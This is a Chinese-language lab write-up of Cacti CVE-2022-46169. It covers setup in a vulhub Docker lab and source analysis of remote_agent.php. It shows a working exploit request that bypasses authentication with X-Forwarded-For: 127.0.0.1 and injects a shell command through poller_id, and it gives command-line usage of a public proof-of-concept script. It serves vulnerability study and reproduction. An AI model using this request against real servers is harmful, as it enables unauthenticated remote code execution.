漏洞介绍

Cacti 是一个开源平台,为用户提供了一个强大且可扩展的操作监控和故障管理框架。在受影响的版本中,如果为任何受监控设备选择了特定数据源,则命令注入漏洞允许未经身份验证的用户在运行 Cacti 的服务器上执行任意代码。

漏洞范围

Cacti 1.2.17-1.2.22

漏洞靶场

使用vulhub的靶场:

vulhub-master/cacti/CVE-2022-46169

启动靶场环境:

1
docker-compose up -d

服务启动后,访问http://your-ip:8080即可查看到Cacti的登录页面

image-20250310193447210

用户名和密码都是admin,然后begin一路next默认安装就可以

image-20250310193518967

安装好后如下图

image-20250310193721206

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

image-20250310193812094

选择的Graph Type是“Device - Uptime”,点击创建:image-20250310193857952

image-20250310163015686

漏洞原理

根据commit的提示

在这里插入图片描述

在这里插入图片描述

我们启动php编译环境进去先看一下auth_login.php文件查看(这里就采用静态审计的方法了),因为commit大部分会围绕get_client_addr()进行修复,我们可以跟进看一下这个函数

在这里插入图片描述

auth_login.php#L164

我们来到这一页,很显然易见的发现的一点,用户传过来的所有信息是用户可操控的(指的是可以通过改包来操控),在修复版本中修改的代码则是限制了获取,不让从这些可控的参数中取值,因此可以猜测这个与登录绕过存在关系。
这个文件就到这里,其实最多是集中在remote_agent.php这个文件中,我们进去看一下,首先发现有多php资源的加载和获取,但是没有什么可说的,直接往下

在这里插入图片描述

remote_agent.php#L53-L56

这里有一个认证身份的代码块,我在本地测试时候也遇到过,跟进函数看一下

在这里插入图片描述

remote_agent.php#L135-L144

很明显又遇到了get_client_addr()函数,而且我们知道他的功能是获取网页用户的信息,再往下看,我也写了注释,这里会发起一些检测ip地址等操作,不用理会,往下看

1
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);  //sql语句,进行从poller表中获取所有的$pollers

remote_agent.php#L154

到了这句我们发现执行了个sql查询,我在本地sql服务查了这个表之后

在这里插入图片描述

再往下看就是一个判断,大致是对ip进行身份验证,然后进行返回,其实很容易看出来是在验证是否为本地ip地址,这里鸡肋的一点是如果在渗透性测试的时候需要进行一个ip字段爆破,获得host主机域名(内网)

1
$client_name = gethostbyaddr($client_addr);

remote_agent.php#L146

在这里插入图片描述

remote_agent.php#L156-L169

身份鉴权绕过大致是这样,由于我们参数可控,可以采用暴力猜解等方法,进行爆ip和构造X-Fowarded-For:127.0.0.1(在linux里面通常127.0.0.1就是localhost,win系统偶尔会出问题)等等。

命令注入:

我们再回到原来的位置,继续向下,这里有一个set_default_action();我们可以进去看一下执行了什么

在这里插入图片描述

就是是否存在 action 参数,不存在就设置为 $default ,存在就对其进行赋值,这里是 $_REQUEST ,可以是 post 或者 get,这里记住action参数的出现,我们回去继续向下,接下来会触发switch····case如果action是polldata就会执行poll_for_data();函数,而这个函数是被修复的

在这里插入图片描述

我们跟进去看一下,接下来重头戏来了,首先我们可以看到参数的获取,他们是从get_filter_request_var()函数获取,我们可以看一下发现几乎没有任何过滤,就是从请求拿信息,这也对照了POC里面三个参数的来源

1
2
3
$local_data_ids = get_nfilter_request_var('local_data_ids');  //是一个数组
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id');

remote_agent.php#L299-L301

继续往下看

在这里插入图片描述

remote_agent.php#L306-L321

不难发现会根据 $host_id 和 $local_data_ids会被作为sql查询的标准来从poller_item这个表里面找信息,然后存到数组 $items,本地查了一下,这里刚好发现里面有action这个参数,猜测可能要获取action的值在这里插入图片描述

接下来会进入一个switch···case,这里会用action的值进行选择,这里显然易见发现一个命令执行,这里是在$poller_id这里,和上面的获取参数就呼应了

1
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

remote_agent.php#L385

然后对标case:POLLER_ACTION_SCRIPT_PHP发现他被定义成2,就是action=2,这里也说明了上面两个参数的作用,在真实的渗透场景可能需要爆字段来获取

漏洞复现

完成初始化后,我们切换到攻击者的角色。作为攻击者,发送如下数据包:

1
2
3
4
5
6
7
8
9
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

image-20250310200221753

虽然响应包里没有回显,但是进入容器中即可发现/tmp/success已成功被创建:

image-20250310200328488

poc使用

https://github.com/sAsPeCt488/CVE-2022-46169

用法

1
python .\CVE-2022-46169.py http://192.168.159.132:8080 -c '命令'

192.168.159.1开启一个http服务器

image-20250310205028678

执行poc

image-20250310205227720

可以看到有请求

image-20250310205314433

命令执行成功

参考

https://blog.csdn.net/2301_79708753/article/details/140810267

https://github.com/vulhub/vulhub/blob/master/cacti/CVE-2022-46169/README.zh-cn.md